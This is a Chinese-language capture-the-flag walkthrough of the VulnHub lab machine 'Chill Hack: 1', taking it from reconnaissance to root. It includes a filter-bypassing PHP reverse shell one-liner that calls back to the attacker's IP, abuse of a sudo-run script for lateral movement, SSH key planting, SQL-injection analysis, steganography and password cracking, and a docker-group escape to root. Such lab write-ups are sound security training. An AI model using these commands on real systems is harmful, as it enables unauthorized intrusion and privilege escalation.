Vulnhub 靶场 Chill Hack: 1

前期准备

靶机地址:https://www.vulnhub.com/entry/chill-hack-1,622/

kali攻击机IP:192.168.11.128
靶机IP:192.168.11.132

一、信息收集

1.使用 nmap 对目标靶机进行扫描

image

开了 21(FTP。有个 note.txt 文件)、22(SSH) 和 80 端口。

2. 21 端口

匿名登陆 ftp 并下载下来 note.txt 文件:

image

note.txt:

Anurodh told me that there is some filtering on strings being put in the command -- Apaar

2. 80 端口

image

扫下目录吧:

image

访问 /secret 目录:

image

是个 cmd 输入框,根据 ftp 中的 note.txt 中的提示,这里应该对一些字符进行了过滤,应该是绕过过滤,然后写入 shell 或找下 ssh 的登录密码之类的,尝试了几次,发现单引号可以绕过过滤:

image

且 python、php、nc都有,在 revshells 中挑一个,写入反弹shell,并用 nc 监听:

我用的'php' -r '$sock=fsockopen("192.168.11.128",1234);shell_exec("sh <&3 >&3 2>&3");'

image

监听成功,升级一下 shell

二、提权

查看权限和 SUID:

image

发现可以运行 /home/apaar/.helpline.sh,先查看一下:

.helpline.sh

#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

输入 msg,$msg 2>/dev/null。故可以运行 .helpline.sh 时直接获得 apaar 的权限:

sudo -u apaar /home/apaar/.helpline.sh

image

得到 apaar 的权限,升级一下 shell

image

得到 user flag。之后查看文件和权限,没发现什么提权方法,查看网络时发现还有一个 9001 端口:

image

image

本地访问发现是个网站,打算使用 ssh 端口转发,把这个端口转到我本地进行访问,不过我需要能 ssh 登录到靶机,本地使用 ssh-keygen 生成公钥和私钥。把公钥重命名为 authorized_keys 并上传到靶机的 /home/apaar/.ssh 中,替换掉原本的 authorized_keys。

image

然后使用 ssh 进行端口转发,攻击机运行:ssh -L 8089:127.0.0.1:9001 apaar@192.168.11.132 -i apaar-key
访问本地的 http://127.0.0.1:8089/

image

一个登录网站,也不需要扫描目录,在 /var/www 目录下就有网站文件:

image

发现就是 /var/www/files 目录,看一下这几个 php,有什么明显的漏洞:

account.php

<?php
class Account
{
        public function __construct($con)
        {
                $this->con = $con;
        }
        public function login($un,$pw)
        {
                $pw = hash("md5",$pw);
                $query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
                $query->execute();
                if($query->rowCount() >= 1)
                {
                        return true;
                }?>
                <h1 style="color:red";>Invalid username or password</h1>
        <?php }
}
?>

很明显有 SQL 注入漏洞,因为虽然使用了 prepare 方法,但未使用绑定参数,用户输入可直接拼接到SQL语句中。
index.php

try
                {
                        $con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
                        $con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
                }

在 index.php 中发现有数据库的登陆密码,尝试登录数据库:

image

尝试破解一下密码:

image

7e53614ced3640d5de23f111806cc4fd   masterpassword
686216240e5af30df0501e53c789a649   dontaskdonttell

试了一下,这也不是 anurodh 用户的密码。到这没什么思路了,看了下别人的 wp,发现这里还有隐写。把 /var/www/files/images 下的图片下载到本地,使用 steghide 提取图片中嵌入的隐藏信息:

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

image

提取到一个 backup.zip,尝试解压发现有密码,爆破一下:

image

得到密码,解压压缩包,解压后得到一个 source_code.php 文件,查看下:

image

有一串 base64 编码:IWQwbnRLbjB3bVlwQHNzdzByZA== 解码得:!d0ntKn0wmYp@ssw0rd。这应该是 Anurodh 用户的密码,尝试切换到 Anurodh:

image

切换成功,查一下这个用户的权限:

image

发现是 docker 组的,可以使用 docker 提权,参考:https://book.hacktricks.xyz/https://gtfobins.github.io/gtfobins/docker/

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image

image

得到 flag。

posted @ 2024-12-30 15:43  sainet  阅读(181)  评论(0)    收藏  举报